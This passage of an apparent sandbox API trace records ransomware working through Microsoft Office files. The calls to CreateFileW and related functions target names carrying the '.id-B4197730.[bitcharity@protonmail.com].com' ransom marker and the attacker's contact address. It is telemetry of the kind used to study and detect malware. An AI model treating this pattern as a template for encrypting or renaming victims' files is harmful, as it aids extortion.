dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.279] CloseHandle (hObject=0x11d0) returned 1 [0264.280] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.280] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme54.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.280] CloseHandle (hObject=0x11d0) returned 1 [0264.282] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.282] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme55.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.282] CloseHandle (hObject=0x11d0) returned 1 [0264.377] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.377] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PAPERS.INI.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\papers.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.377] CloseHandle (hObject=0x1194) returned 1 [0264.384] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.384] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR11F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir11f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.385] CloseHandle (hObject=0x1194) returned 1 [0264.386] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.386] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR12F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir12f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.386] CloseHandle (hObject=0x1194) returned 1 [0264.388] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.388] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR13F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir13f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.388] CloseHandle (hObject=0x1194) returned 1 [0264.389] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.389] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR14F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir14f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.389] CloseHandle (hObject=0x1194) returned 1 [0264.390] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.390] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR15F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir15f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.391] CloseHandle (hObject=0x1194) returned 1 [0264.391] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.392] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR16F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir16f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.392] CloseHandle (hObject=0x1194) returned 1 [0264.393] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.393] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR17F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir17f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.393] CloseHandle (hObject=0x1194) returned 1 [0264.394] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.394] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR18F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir18f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.394] CloseHandle (hObject=0x1194) returned 1 [0264.396] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.396] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR19F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir19f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.397] CloseHandle (hObject=0x1194) returned 1 [0264.398] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.398] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR1B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir1b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.398] CloseHandle (hObject=0x1194) returned 1 [0264.400] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.400] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR1F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir1f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.400] CloseHandle (hObject=0x1194) returned 1 [0264.401] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.401] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR20F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir20f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.402] CloseHandle (hObject=0x1194) returned 1 [0264.403] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.403] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR21F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir21f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.404] CloseHandle (hObject=0x1194) returned 1 [0264.404] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.405] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR22F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir22f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.405] CloseHandle (hObject=0x1194) returned 1 [0264.407] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.407] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR23F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir23f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.407] CloseHandle (hObject=0x1194) returned 1 [0264.408] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.408] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR24F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir24f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.409] CloseHandle (hObject=0x1194) returned 1 [0264.410] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.410] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR25F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir25f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.410] CloseHandle (hObject=0x1194) returned 1 [0264.411] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.411] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR26F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir26f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.411] CloseHandle (hObject=0x1194) returned 1 [0264.413] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.413] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR27F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir27f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.413] CloseHandle (hObject=0x1194) returned 1 [0264.415] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.415] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR28B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir28b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.415] CloseHandle (hObject=0x1194) returned 1 [0264.416] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.416] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR28F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir28f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.416] CloseHandle (hObject=0x1194) returned 1 [0264.418] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.418] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR29B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir29b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.418] CloseHandle (hObject=0x1194) returned 1 [0264.420] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.420] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR29F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir29f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.420] CloseHandle (hObject=0x1194) returned 1 [0264.421] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.421] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR2B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir2b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.422] CloseHandle (hObject=0x1194) returned 1 [0264.423] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.423] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR2F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir2f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.423] CloseHandle (hObject=0x1194) returned 1 [0264.424] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.424] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR30B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir30b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.424] CloseHandle (hObject=0x1194) returned 1 [0264.425] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.425] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR30F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir30f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.425] CloseHandle (hObject=0x1194) returned 1 [0264.774] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.774] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR31B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir31b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.775] CloseHandle (hObject=0x1284) returned 1 [0264.776] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.776] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR11F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 